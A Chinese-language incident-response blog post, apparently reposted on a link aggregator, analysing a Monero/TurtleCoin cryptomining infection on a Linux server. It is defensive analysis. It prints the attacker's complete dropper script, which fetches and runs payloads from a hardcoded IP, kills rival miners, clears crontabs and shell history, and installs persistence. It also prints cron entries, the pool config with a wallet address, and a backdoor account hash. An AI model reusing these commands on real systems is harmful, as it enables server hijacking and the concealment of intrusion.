20

XMR门罗币挖矿应急

 2 years ago
source link: https://misakikata.github.io/2022/02/XMR%E9%97%A8%E7%BD%97%E5%B8%81%E6%8C%96%E7%9F%BF%E5%BA%94%E6%80%A5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

XMR门罗币挖矿应急

Tuesday, February 8th 2022, 4:39 pm

  1. curl -O 2.58.149.237:6972/hoze

image-20220117135255528

image-20220117135335865

文件内容为:

  1. #!/bin/bash
  2. cores=$(nproc)
  3. temp=$(cat /proc/meminfo | grep MemAvailable | awk '{print$2}')
  4. ram=$(expr $temp / 1000)
  5. echo $cores
  6. echo $ram
  7. #ram=10
  8. rm -rf hoze
  9. rm -rf /var/tmp/hoze
  10. [[ ! $(uname -a) =~ "x86_64" ]] && exit
  11. #####################################
  12. function SlowAndSteady {
  13. cd /var/tmp ; curl -O 2.58.149.237:6972/xri3.tar || cd1 -O 2.58.149.237:6972/xri3.tar || wget 2.58.149.237:6972/xri3.tar && tar -xvf xri3.tar && mv xri3 .xri && rm -rf xri3.tar && cd .xri ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history
  14. }
  15. function MoneyFactory {
  16. cd /var/tmp ; curl -O 2.58.149.237:6972/xrx2.tar || cd1 -O 2.58.149.237:6972/xrx2.tar || wget 2.58.149.237:6972/xrx2.tar && tar -xvf xrx2.tar && mv xrx2 .xrx && rm -rf xrx.tar && cd .xrx ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history
  17. }
  18. #####################################
  19. rm -rf /var/tmp/.xri
  20. rm -rf /var/tmp/.xrx
  21. rm -rf /var/tmp/.x
  22. pkill -9 xri
  23. pkill -9 xrx
  24. pkill -STOP xmrig
  25. pkill -STOP Opera
  26. rm -rf ~/Opera
  27. #####################################
  28. if [ "$EUID" = 0 ]; then
  29. chmod 755 /usr/bin/chattr > /dev/null 2>&1
  30. chattr -ia /etc/newinit.sh > /dev/null 2>&1
  31. rm -rf /etc/newinit.sh > /dev/null 2>&1
  32. chattr -R -ia /var/spool/cron > /dev/null 2>&1
  33. chattr -ia /etc/crontab > /dev/null 2>&1
  34. chattr -R -ia /var/spool/cron/crontabs > /dev/null 2>&1
  35. chattr -R -ia /etc/cron.d > /dev/null 2>&1
  36. fi
  37. chattr -ia /tmp/newinit.sh > /dev/null 2>&1
  38. rm -rf /tmp/newinit.sh > /dev/null 2>&1
  39. echo "crontab info:"
  40. crontab -l
  41. crontab -r > /dev/null
  42. chattr -ia /etc/zzh > /dev/null
  43. chattr -ia /tmp/zzh > /dev/null
  44. rm -rf /etc/zzh > /dev/null
  45. rm -rf /tmp/zzh > /dev/null
  46. pkill -f "zzh" > /dev/null
  47. chattr -ia /tmp/.ice-unix > /dev/null
  48. rm -rf /tmp/.ice-unix > /dev/null
  49. chattr -ia /usr/local/bin/pnscan > /dev/null
  50. rm -rf /usr/local/bin/pnscan > /dev/null
  51. pkill -f "pnscan" > /dev/null
  52. mv /bin/top.original /bin/top
  53. #####################################
  54. if (( $cores < 4 )) || (( $ram < 2300 )) ; then
  55. echo "installing trtl miner"
  56. SlowAndSteady
  57. elif (( $cores >= 4 )) && (( $ram >= 2300 )) ; then
  58. echo "installing xmr miner"
  59. SlowAndSteady
  60. fi

前几步是用来判断系统的内存和进程限制,但对后面的运行实际没有区别,非x86架构则直接退出运行。中间有个下载文件,是一个二进制文件,下载下来查看一下。

  1. curl -O 2.58.149.237:6972/xri3.tar

image-20220117144846484

后门先进行进程的清理,然后在root下修改定时任务文件,删除了一个shell文件/etc/newinit.sh,我去查了一下这个文件,发现也是一个挖矿的定时程序,原来是先把别的程序给他删了,再去执行自己的。同时修改文件的属性,便于更改。后续还删除了pnscan,这个是针对reids的挖矿病毒,会修改top文件为top.original,这里也贴心的帮你修改过来了。

原pnscan病毒会修改top为:echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top

只是它还会修改ps命令,这里没有修改回来,看来还不够贴心。

不管你系统是多少内存啥的,反正都给你运行函数SlowAndSteady。会解压在/var/tmp目录下,更改名称为.xri。执行目录下的chmod +x * ; ./init0,同时给你删除掉命令记录,同时删除下载的压缩包。

从文件内看到一个key文件,里面是ssh的公钥,说明保留采用公钥的方式登陆的后门。

  1. /root/.ssh/authorized_keys

会在/etc/crontab里写入定时任务

  1. @weekly root /var/tmp/.x/secure
  2. @reboot root /var/tmp/.x/secure

config里配置了门罗币的地址

  1. "url": "5.9.157.2:10380",
  2. "user": "TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3C",
  3. "pass": "x",
  4. "rig-id": "pooled",

执行的程序为/var/tmp/.xri下的xri文件,后续还会在/var/tmp/.x下把scp和secure拷贝进来,上面的定时任务也是针对这个secure文件。

程序还会在创建一个cheeki的普通用户,密码写在shadow文件内,看起来是跟root一个密码。但是这个密码是修改过,也就是root的密码修改为其他密码了。

  1. root:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::
  2. bin:*:18353:0:99999:7:::
  3. daemon:*:18353:0:99999:7:::
  4. adm:*:18353:0:99999:7:::
  5. lp:*:18353:0:99999:7:::
  6. sync:*:18353:0:99999:7:::
  7. shutdown:*:18353:0:99999:7:::
  8. halt:*:18353:0:99999:7:::
  9. mail:*:18353:0:99999:7:::
  10. operator:*:18353:0:99999:7:::
  11. games:*:18353:0:99999:7:::
  12. ftp:*:18353:0:99999:7:::
  13. nobody:*:18353:0:99999:7:::
  14. systemd-network:!!:19011::::::
  15. dbus:!!:19011::::::
  16. polkitd:!!:19011::::::
  17. sshd:!!:19011::::::
  18. postfix:!!:19011::::::
  19. chrony:!!:19011::::::
  20. cheeki:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::

scp文件从作用上看,是负责进程维护和修改定时任务的

  1. #!/bin/bash
  2. while true; do /var/tmp/.x/secure ; sleep 10; done

从进程中scp启动后,xri才会出现,也就是xri至少是secure产生的,init.sh里面倒是写明白了启动xri并且使用diswon后台维护。整个流程中secure是关键运行文件。

因此需要查看被爆破的用户是哪个,去除密钥和用户,删除定时任务和进程。重启之前记得修改root密码。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK